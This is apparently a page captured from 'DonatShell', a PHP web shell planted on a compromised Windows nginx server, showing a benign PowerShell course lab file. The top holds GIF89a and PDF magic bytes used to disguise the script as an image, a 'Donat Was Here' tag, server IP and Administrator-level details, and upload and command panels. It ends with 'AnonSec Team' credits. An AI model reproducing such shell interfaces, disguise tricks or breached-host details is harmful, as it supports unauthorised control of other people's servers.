GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST1861/Labs/Labx08x/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST1861/Labs/Labx08x/Lab06.phpinc
<?
// JimMartinson/CST1861/Labs/Lab03/index.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
require('application.phpinc');

require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.
$disabled = '';
//$disabled = ' disabled'; // Comment this line to enable lab.

if ( $disabled && $_SESSION['userId'] == 1 ) {
	d_Var('$classId',$classId,'d');
	d_Var('$classNumber',$classNumber,'d');
	d_Var('$classSection',$classSection,'d');
	d_Var('$courseNumber',$courseNumber,'d');
	d_Var('$evaluationId',$evaluationId,'d');
	d_Var('$evaluationInfo',$evaluationInfo,'d');
	d_Var('$evaluationName',$evaluationName,'d');
	d_Var('$evaluationNumber',$evaluationNumber,'d');
	d_Var('$evaluationTitle',$evaluationTitle,'d');
	d_Var('$evaluationType',$evaluationType,'d');
	d_Var('$saveFilename',$saveFilename,'d');
	d_Var('$title',$title,'d');
	d_Var('$uploadFilename',$uploadFilename,'d');
	d_Var('$userFileName',$userFileName,'d');
	d_Var('$userFirstName',$userFirstName,'d');
	d_Var('$userId',$userId,'d');
	d_Var('$userFullName',$userFullName,'d');
	d_Var('$userLastName',$userLastName,'d');
}
?>
<style type="text/css">b {white-space:nowrap;}</style>
<p>
<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend>
<? if ( $disabled ) { ?>
<span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><br>
<? } ?>
The purpose of this lab is to demonstrate your ability to write and document a powershell global function.
<br><?=$gradeNote?>
<ol class="count">
  <li>
    Create a directory called <b><?=$evaluationName?></b>. We will use it for all work performed in this lab.
  </li>
	<li>
		Write a powershell script that creates a global function and document it.
		<ol>
			<li>The script will be named <b>Get-Shares.ps1</b>.</li>
			<li>The function will be named <b>Get-Shares</b>.</li>
			<li>The function takes two parameters: <b></b>.
				<ul>
					<li>$ComputerName = the computer to check for shares.</li>
					<li>$AllShares = if blank will only get non-$ shares, else show all shares.</li>
				</ul>
			</li>
			<li>Fully document the function with help.
				<? showBegin('See example function_bt_et.ps1 script','Hide example function_bt_et.ps1 script'); ?><? $ex = file_get_contents('function_bt_et.ps1'); ?><pre class="code"><?=htmlView($ex)?></pre><? showEnd(); ?>
				<br>I don't need you to figure out the commands to get the shares. Here they are:
				<table class="left">
					<tr><td class="right">Show non-$ shares:</td><td class="code">gwmi -Computer $ComputerName -Class Win32_Share | Where-Object { $_.Name -notlike "*$" }</td></tr>
					<tr><td class="right">Show all shares:</td><td class="code">gwmi -Computer $ComputerName -Class Win32_Share</td></tr>
				</table>
			</li>
		</ol>
	</li>
	<li>Show that the <b>Get-Shares</b> function works.
		<ol>
			<li>Open a powershell window.</li>
			<li>Run the <b>Get-Shares.ps1</b> file.</li>
			<li>Run the command: <code>Get-Shares</code>. <span class="note">If your computer does not have a share you will need to make one for use in this lab. You can get rid of it when done.</span></li>
			<li>Run the command: <code>Get-Shares localhost all</code>.</li>
			<li>
				Take a screenshot and save it as <b><?=$saveFilename?>-a.png</b> in your <b><?=$evaluationName?></b> folder.
				<? showBegin('See example screenshot','Hide example screenshot'); ?><br><img src="screenshot.png" width="813" height="579" alt="Example Get-Shares screenshot"/><br><? showEnd(); ?>
			</li>
		</ol>
	</li>
  <li>Turn in your assignment:
		<ol type="a">
			<li>Copy your <b>Get-Shares.ps1</b> file into your <b><?=$evaluationName?></b> folder.</li>
			<li>Make sure the following files are in your <b><?=$evaluationName?></b> folder:
				<ol type="a">
					<li><b>Get-Shares.ps1</b></li>
					<li><?=$saveFilename?>-a.png.</li>
				</ol>
			</li>
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.<? if ( $disabled ) { ?> <span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?></li>
		</ol>
  </li>
</ol>
<?=$gradeNote?>
</fieldset>
<?
#$deductionPoints = $evaluationInfo['evaluationPoints'] / 10; if ( $deductionPoints == 1 ) { $deductionPoints = '1 point'; } else { $deductionPoints = $deductionPoints.' points'; }
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team